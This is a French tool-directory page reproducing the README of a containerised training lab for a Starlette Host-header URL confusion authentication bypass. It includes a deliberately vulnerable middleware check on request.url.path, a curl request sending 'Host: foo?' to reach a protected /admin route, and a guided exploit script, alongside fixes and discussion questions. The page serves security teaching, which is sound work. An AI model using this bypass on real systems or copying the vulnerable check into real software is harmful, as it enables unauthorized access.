Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
starlette-host-header-lab — Lab de confusion d'URL Host-Header de Starlette (X41-2026-002) - CVE-2026-48710 | Kitploit
Outils/GitHubGitHub/xtremebeing/starlette-host-header-lab
Analyse des VulnérabilitésSécurité WebAuthentificationMauvaise ConfigurationApprentissage et ÉducationLabs et Pratique
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Lab de confusion d'URL Host-Header de Starlette (X41-2026-002) - CVE-2026-48710

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 2 moisPas encore vérifié

Laboratoire de confusion d'URL dans l'en-tête Host de Starlette (X41-2026-002)

Un laboratoire de formation autonome et conteneurisé reproduisant la vulnérabilité de contournement d'authentification de Starlette divulguée par X41 D-Sec.

  • Avis : X41-2026-002
  • GHSA : GHSA-86qp-5c8j-p5mr
  • CWE : 436 — Interpretation Conflict / Untrusted Input in Function Call
  • CVSS : 7.0 (Élevé)
  • Affecté : Starlette >= 0.8.3, < 1.0.1 (le laboratoire utilise 0.37.2)
  • Corrigé dans : Starlette 1.0.1

⚠️ Réservé à une formation en sécurité autorisée. Cette application est volontairement vulnérable. Ne la déployez sur aucun réseau accessible.


La vulnérabilité en un paragraphe

Starlette achemine une requête vers une route en utilisant le scope["path"] ASGI brut, mais il reconstruit request.url en formatant l'en-tête Host fourni par le client dans "{scheme}://{host}{path}" — sans valider l'en-tête Host conformément à la RFC 9112 §3.2. Comme les métacaractères d'URL (?, /, #) sont autorisés tels quels, un attaquant peut faire en sorte que le chemin reconstruit diffère du chemin routé. Toute vérification de sécurité écrite sur request.url.path peut alors être trompée tandis que le routeur atteint toujours le gestionnaire protégé.

Pourquoi la PoC fonctionne

Le middleware vulnérable autorise la requête uniquement lorsque request.url.path est / ou vide :

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

Envoyez Host: foo? avec GET /admin :

ComposantValeur utilisée
Routeur (scope["path"])

Le ? transforme tout ce qui le suit en chaîne de requête, de sorte que le chemin analysé est vide. L'authentification voit un chemin vide et le laisse passer ; le routeur sert toujours /admin. Contournement réussi.


Exécuter le laboratoire

Nécessite Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Deux services démarrent :

ServiceURLComportement
vulnerablehttp://localhost:8000contournable
fixedhttp://localhost:8001atténué (deux manières)

L'exploiter

root@kitploit:~
# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Ou lancez le script PoC guidé :

root@kitploit:~
./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

Le gestionnaire /admin vulnérable renvoie un corps JSON qui rend la confusion visible — notez que scope_path et reconstructed_path diffèrent :

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Comment c'est corrigé

Voir fixed/fixed_app.py. Deux atténuations indépendantes :

  1. Utilisez la valeur faisant autorité. Prenez la décision d'authentification sur request.scope["path"] — le même chemin brut utilisé par le routeur — plutôt que sur le request.url.path reconstruit.
  2. Défense en profondeur. TrustedHostMiddleware rejette les en-têtes Host inattendus ou malformés avant que toute logique applicative ne s'exécute, imitant ce qu'un proxy inverse conforme à la RFC (nginx/Apache) fait en amont.

Le correctif réel est simplement de passer à Starlette ≥ 1.0.1, qui valide l'en-tête Host lors de la reconstruction de l'URL.


Questions de discussion pour les ingénieurs

  1. Où d'autre dans une pile logicielle typique une valeur est-elle reconstruite à partir d'une entrée non fiable puis considérée comme fiable ? (Indice : listes blanches SSRF, OAuth redirect_uri, clés de cache, liens de réinitialisation de mot de passe construits à partir du Host.)
  2. Pourquoi « bloquer le mauvais chemin » (/admin) est-il plus fragile ici que « décider sur la route ciblée » ? Et si le routage est insensible à la casse ou comporte des redirections avec slash final ?
  3. Il s'agit de la CWE-436 (conflit d'interprétation). Quels autres bugs célèbres partagent cette forme ? (HTTP request smuggling, contournement d'authentification par normalisation Unicode, la faille 0.0.0.0-day.)

Fichiers

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
Télécharger l’outil
/admin → achemine vers admin()
request.urlhttp://foo?/admin
request.url.path"" → passe le contrôle d'authentification ✅